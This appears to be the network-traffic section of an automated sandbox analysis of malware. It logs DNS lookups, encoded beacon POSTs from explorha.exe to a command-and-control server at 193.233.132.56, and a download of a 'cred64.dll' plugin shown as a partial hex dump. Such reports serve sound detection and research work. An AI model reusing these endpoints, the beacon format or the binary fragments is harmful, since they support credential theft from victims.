Apr 18, 2024 23:40:29.625144005 CEST	192.168.2.4	1.1.1.1	0x1541	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:29.625427961 CEST	192.168.2.4	1.1.1.1	0x1100	Standard query (0)	play.google.com	65	IN (0x0001)	false
Apr 18, 2024 23:40:49.555665970 CEST	192.168.2.4	1.1.1.1	0xdbb1	Standard query (0)	www.youtube.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.555896997 CEST	192.168.2.4	1.1.1.1	0xa63a	Standard query (0)	www.youtube.com	65	IN (0x0001)	false
Apr 18, 2024 23:40:54.005311012 CEST	192.168.2.4	1.1.1.1	0x23cb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.005687952 CEST	192.168.2.4	1.1.1.1	0x8768	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 18, 2024 23:40:54.103323936 CEST	192.168.2.4	1.1.1.1	0xd128	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.103540897 CEST	192.168.2.4	1.1.1.1	0x23d	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Apr 18, 2024 23:41:03.643321991 CEST	192.168.2.4	1.1.1.1	0x932c	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:41:03.643436909 CEST	192.168.2.4	1.1.1.1	0x4262	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 23:40:13.342866898 CEST	1.1.1.1	192.168.2.4	0x7748	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342866898 CEST	1.1.1.1	192.168.2.4	0x7748	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		108.177.122.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		142.251.15.136	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		142.251.15.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		142.251.15.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		172.217.215.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		142.250.9.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		74.125.138.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		142.251.15.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		108.177.122.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		108.177.122.136	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		172.217.215.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		142.250.9.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		172.217.215.136	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		74.125.138.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		108.177.122.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:13.342889071 CEST	1.1.1.1	192.168.2.4	0x11ef	No error (0)	youtube-ui.l.google.com		172.217.215.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.516330004 CEST	1.1.1.1	192.168.2.4	0xb02c	No error (0)	www.google.com		64.233.176.103	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.516330004 CEST	1.1.1.1	192.168.2.4	0xb02c	No error (0)	www.google.com		64.233.176.99	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.516330004 CEST	1.1.1.1	192.168.2.4	0xb02c	No error (0)	www.google.com		64.233.176.147	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.516330004 CEST	1.1.1.1	192.168.2.4	0xb02c	No error (0)	www.google.com		64.233.176.105	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.516330004 CEST	1.1.1.1	192.168.2.4	0xb02c	No error (0)	www.google.com		64.233.176.106	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.516330004 CEST	1.1.1.1	192.168.2.4	0xb02c	No error (0)	www.google.com		64.233.176.104	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:17.516469955 CEST	1.1.1.1	192.168.2.4	0x7363	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 18, 2024 23:40:20.248764992 CEST	1.1.1.1	192.168.2.4	0x81c5	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:40:20.248764992 CEST	1.1.1.1	192.168.2.4	0x81c5	No error (0)	www3.l.google.com		142.250.105.138	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:20.248764992 CEST	1.1.1.1	192.168.2.4	0x81c5	No error (0)	www3.l.google.com		142.250.105.102	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:20.248764992 CEST	1.1.1.1	192.168.2.4	0x81c5	No error (0)	www3.l.google.com		142.250.105.113	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:20.248764992 CEST	1.1.1.1	192.168.2.4	0x81c5	No error (0)	www3.l.google.com		142.250.105.139	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:20.248764992 CEST	1.1.1.1	192.168.2.4	0x81c5	No error (0)	www3.l.google.com		142.250.105.101	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:20.248764992 CEST	1.1.1.1	192.168.2.4	0x81c5	No error (0)	www3.l.google.com		142.250.105.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:20.249300003 CEST	1.1.1.1	192.168.2.4	0x5106	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:40:21.361926079 CEST	1.1.1.1	192.168.2.4	0x93b3	No error (0)	play.google.com		173.194.219.139	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:21.361926079 CEST	1.1.1.1	192.168.2.4	0x93b3	No error (0)	play.google.com		173.194.219.113	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:21.361926079 CEST	1.1.1.1	192.168.2.4	0x93b3	No error (0)	play.google.com		173.194.219.102	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:21.361926079 CEST	1.1.1.1	192.168.2.4	0x93b3	No error (0)	play.google.com		173.194.219.101	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:21.361926079 CEST	1.1.1.1	192.168.2.4	0x93b3	No error (0)	play.google.com		173.194.219.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:21.361926079 CEST	1.1.1.1	192.168.2.4	0x93b3	No error (0)	play.google.com		173.194.219.138	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:24.829189062 CEST	1.1.1.1	192.168.2.4	0xb7b8	No error (0)	ipinfo.io		34.117.186.192	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:25.415236950 CEST	1.1.1.1	192.168.2.4	0x3417	No error (0)	db-ip.com		104.26.5.15	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:25.415236950 CEST	1.1.1.1	192.168.2.4	0x3417	No error (0)	db-ip.com		172.67.75.166	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:25.415236950 CEST	1.1.1.1	192.168.2.4	0x3417	No error (0)	db-ip.com		104.26.4.15	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:29.730092049 CEST	1.1.1.1	192.168.2.4	0x1541	No error (0)	play.google.com		74.125.138.101	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:29.730092049 CEST	1.1.1.1	192.168.2.4	0x1541	No error (0)	play.google.com		74.125.138.139	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:29.730092049 CEST	1.1.1.1	192.168.2.4	0x1541	No error (0)	play.google.com		74.125.138.138	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:29.730092049 CEST	1.1.1.1	192.168.2.4	0x1541	No error (0)	play.google.com		74.125.138.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:29.730092049 CEST	1.1.1.1	192.168.2.4	0x1541	No error (0)	play.google.com		74.125.138.113	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:29.730092049 CEST	1.1.1.1	192.168.2.4	0x1541	No error (0)	play.google.com		74.125.138.102	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.217.215.136	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.217.215.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.217.215.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.253.124.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.217.215.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		142.250.9.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		142.250.9.136	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.253.124.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		74.125.136.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.253.124.136	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		142.250.9.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		172.253.124.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		142.250.9.190	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		74.125.136.91	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		74.125.136.93	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.659941912 CEST	1.1.1.1	192.168.2.4	0xdbb1	No error (0)	youtube-ui.l.google.com		74.125.136.136	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:49.660183907 CEST	1.1.1.1	192.168.2.4	0xa63a	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:40:49.660183907 CEST	1.1.1.1	192.168.2.4	0xa63a	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Apr 18, 2024 23:40:54.110464096 CEST	1.1.1.1	192.168.2.4	0x23cb	No error (0)	www.google.com		108.177.122.99	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.110464096 CEST	1.1.1.1	192.168.2.4	0x23cb	No error (0)	www.google.com		108.177.122.104	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.110464096 CEST	1.1.1.1	192.168.2.4	0x23cb	No error (0)	www.google.com		108.177.122.106	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.110464096 CEST	1.1.1.1	192.168.2.4	0x23cb	No error (0)	www.google.com		108.177.122.147	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.110464096 CEST	1.1.1.1	192.168.2.4	0x23cb	No error (0)	www.google.com		108.177.122.105	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.110464096 CEST	1.1.1.1	192.168.2.4	0x23cb	No error (0)	www.google.com		108.177.122.103	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.110955954 CEST	1.1.1.1	192.168.2.4	0x8768	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 18, 2024 23:40:54.208085060 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:40:54.208085060 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	www3.l.google.com		64.233.177.101	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.208085060 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	www3.l.google.com		64.233.177.102	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.208085060 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	www3.l.google.com		64.233.177.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.208085060 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	www3.l.google.com		64.233.177.138	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.208085060 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	www3.l.google.com		64.233.177.139	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.208085060 CEST	1.1.1.1	192.168.2.4	0xd128	No error (0)	www3.l.google.com		64.233.177.113	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:40:54.208174944 CEST	1.1.1.1	192.168.2.4	0x23d	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 23:41:03.748244047 CEST	1.1.1.1	192.168.2.4	0x932c	No error (0)	play.google.com		172.253.124.100	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:41:03.748244047 CEST	1.1.1.1	192.168.2.4	0x932c	No error (0)	play.google.com		172.253.124.102	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:41:03.748244047 CEST	1.1.1.1	192.168.2.4	0x932c	No error (0)	play.google.com		172.253.124.138	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:41:03.748244047 CEST	1.1.1.1	192.168.2.4	0x932c	No error (0)	play.google.com		172.253.124.113	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:41:03.748244047 CEST	1.1.1.1	192.168.2.4	0x932c	No error (0)	play.google.com		172.253.124.101	A (IP address)	IN (0x0001)	false
Apr 18, 2024 23:41:03.748244047 CEST	1.1.1.1	192.168.2.4	0x932c	No error (0)	play.google.com		172.253.124.139	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:02.863198996 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 18, 2024 23:40:03.108463049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Apr 18, 2024 23:40:03.113451958 CEST	310	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 39 46 38 41 45 34 35 43 38 46 41 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C9F8AE45C8FAFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Apr 18, 2024 23:40:03.371711016 CEST	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 30 30 35 34 30 30 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 31 34 34 66 36 39 65 35 65 36 37 65 65 38 30 31 35 66 38 31 35 64 62 32 63 64 30 61 30 61 33 65 36 32 36 62 33 66 63 66 37 62 36 35 38 37 66 61 30 65 31 37 65 37 36 23 31 30 30 30 30 35 35 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 62 35 39 65 61 39 66 35 65 37 61 66 31 38 32 31 34 65 34 30 61 64 63 32 64 63 38 65 32 61 37 65 31 32 64 66 39 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 31 30 30 30 30 35 36 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 62 35 39 65 61 39 66 35 65 37 61 66 31 38 32 31 34 65 34 30 61 64 63 32 64 63 38 65 32 61 39 65 37 33 30 65 38 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 31 30 30 30 30 35 37 30 33 31 2b 2b 2b 61 61 30 65 64 33 36 35 35 34 65 31 39 66 62 66 66 63 35 31 34 34 66 36 39 65 35 65 36 37 65 65 38 30 31 35 66 38 31 35 64 62 32 63 64 30 61 65 61 35 66 62 33 37 62 33 65 65 66 62 61 31 35 38 36 61 61 30 65 31 37 65 37 36 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 16f <c>1000054001+++aa0ed36554e19fbffc5144f69e5e67ee8015f815db2cd0a0a3e626b3fcf7b6587fa0e17e76#1000055001+++e312d3611ef49fa1f45b59ea9f5e7af18214e40adc2dc8e2a7e12df9b2e8b2446fe1e928766ada#1000056001+++e312d3611ef49fa1f45b59ea9f5e7af18214e40adc2dc8e2a9e730e8b2e8b2446fe1e928766ada#1000057031+++aa0ed36554e19fbffc5144f69e5e67ee8015f815db2cd0aea5fb37b3eefba1586aa0e17e76#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	193.233.132.56	80	7056	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 18, 2024 23:40:02.866338968 CEST	69	OUT	GET /Pneh2sXQk0/Plugins/cred64.dll HTTP/1.1 Host: 193.233.132.56
Apr 18, 2024 23:40:03.114480972 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 18 Apr 2024 21:40:02 GMT Content-Type: application/octet-stream Content-Length: 1285632 Last-Modified: Sun, 03 Mar 2024 11:54:33 GMT Connection: keep-alive ETag: "65e464f9-139e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 de c9 0d 82 bf a7 5e 82 bf a7 5e 82 bf a7 5e d9 d7 a3 5f 91 bf a7 5e d9 d7 a4 5f 92 bf a7 5e d9 d7 a2 5f 32 bf a7 5e 57 d2 a2 5f c4 bf a7 5e 57 d2 a3 5f 8d bf a7 5e 57 d2 a4 5f 8b bf a7 5e d9 d7 a6 5f 8f bf a7 5e 82 bf a6 5e 43 bf a7 5e 19 d1 ae 5f 86 bf a7 5e 19 d1 a7 5f 83 bf a7 5e 19 d1 58 5e 83 bf a7 5e 19 d1 a5 5f 83 bf a7 5e 52 69 63 68 82 bf a7 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 69 12 e4 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 c0 0f 00 00 52 04 00 00 00 00 00 68 06 0d 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 14 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 89 12 00 58 00 00 00 78 89 12 00 8c 00 00 00 00 20 14 00 f8 00 00 00 00 60 13 00 28 ad 00 00 00 00 00 00 00 00 00 00 00 30 14 00 f4 15 00 00 b0 9e 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 9f 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 d0 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 be 0f 00 00 10 00 00 00 c0 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 cd 02 00 00 d0 0f 00 00 ce 02 00 00 c4 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c bb 00 00 00 a0 12 00 00 44 00 00 00 92 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 28 ad 00 00 00 60 13 00 00 ae 00 00 00 d6 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 10 14 00 00 02 00 00 00 84 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 20 14 00 00 02 00 00 00 86 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f4 15 00 00 00 30 14 00 00 16 00 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$^^^_^_^_2^W_^W_^W_^_^^C^_^_^X^^_^Rich^PEdie" RhP` Xx `(0p .text `.rdata@@.dataLD@.pdata(`@@_RDATA@@.rsrc @@.reloc0@B
Apr 18, 2024 23:40:03.114594936 CEST	1289	IN	Data Raw: 00 00 00 00 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 97 6e 11 00 48 8d 0d e0 bb 12 00 e8 d3 20 0c 00 48 8d 0d 0c 85 0f 00 48 83 c4 28 e9 cf f2 0c 00 cc cc cc 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 8f 6e 11 00 48 8d 0d b0 c2 12 00 e8 a3 20 0c 00 48 Data Ascii: H(A HnH HH(H(A HnH HLH(H(AHnHs HH(oH(A H_nHC HH(?H(AHWnH HH(
Apr 18, 2024 23:40:03.114613056 CEST	1289	IN	Data Raw: 83 c4 28 e9 ef ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 4f 6c 11 00 48 8d 0d b0 b5 12 00 e8 c3 1b 0c 00 48 8d 0d cc 8b 0f 00 48 83 c4 28 e9 bf ed 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 2f 6c 11 00 48 8d 0d c0 bd 12 Data Ascii: (H(AHOlHHH(H(AH/lHHH(H(A(HlHcHLH(_H(AHlH3HH(/H(AHkHHH(
Apr 18, 2024 23:40:03.114630938 CEST	1289	IN	Data Raw: 8d 0d 4c 92 0f 00 48 83 c4 28 e9 df e8 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 57 69 11 00 48 8d 0d a0 b7 12 00 e8 b3 16 0c 00 48 8d 0d 8c 92 0f 00 48 83 c4 28 e9 af e8 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 37 69 11 Data Ascii: LH(H(AHWiHHH(H(AH7iHHH(H(AHiHSHH(OH(AHhH#HLH(H(AHhH`H
Apr 18, 2024 23:40:03.114650011 CEST	1289	IN	Data Raw: 00 e8 d3 11 0c 00 48 8d 0d 0c 99 0f 00 48 83 c4 28 e9 cf e3 0c 00 cc cc cc 48 83 ec 28 41 b8 34 00 00 00 48 8d 15 cf 67 11 00 48 8d 0d b0 b8 12 00 e8 a3 11 0c 00 48 8d 0d 4c 99 0f 00 48 83 c4 28 e9 9f e3 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 Data Ascii: HH(H(A4HgHHLH(H(A(HgHsHH(oH(AHgHCHH(?H(A4HgHHH(H(A(HgH
Apr 18, 2024 23:40:03.114666939 CEST	1289	IN	Data Raw: c7 80 80 00 00 00 0f 00 00 00 88 50 68 48 89 90 98 00 00 00 48 c7 80 a0 00 00 00 0f 00 00 00 88 90 88 00 00 00 48 89 90 b8 00 00 00 48 c7 80 c0 00 00 00 0f 00 00 00 88 90 a8 00 00 00 48 89 90 d8 00 00 00 48 c7 80 e0 00 00 00 0f 00 00 00 88 90 c8 Data Ascii: PhHHHHHHHHHH H8H@(HXH`HHxHhHHHH
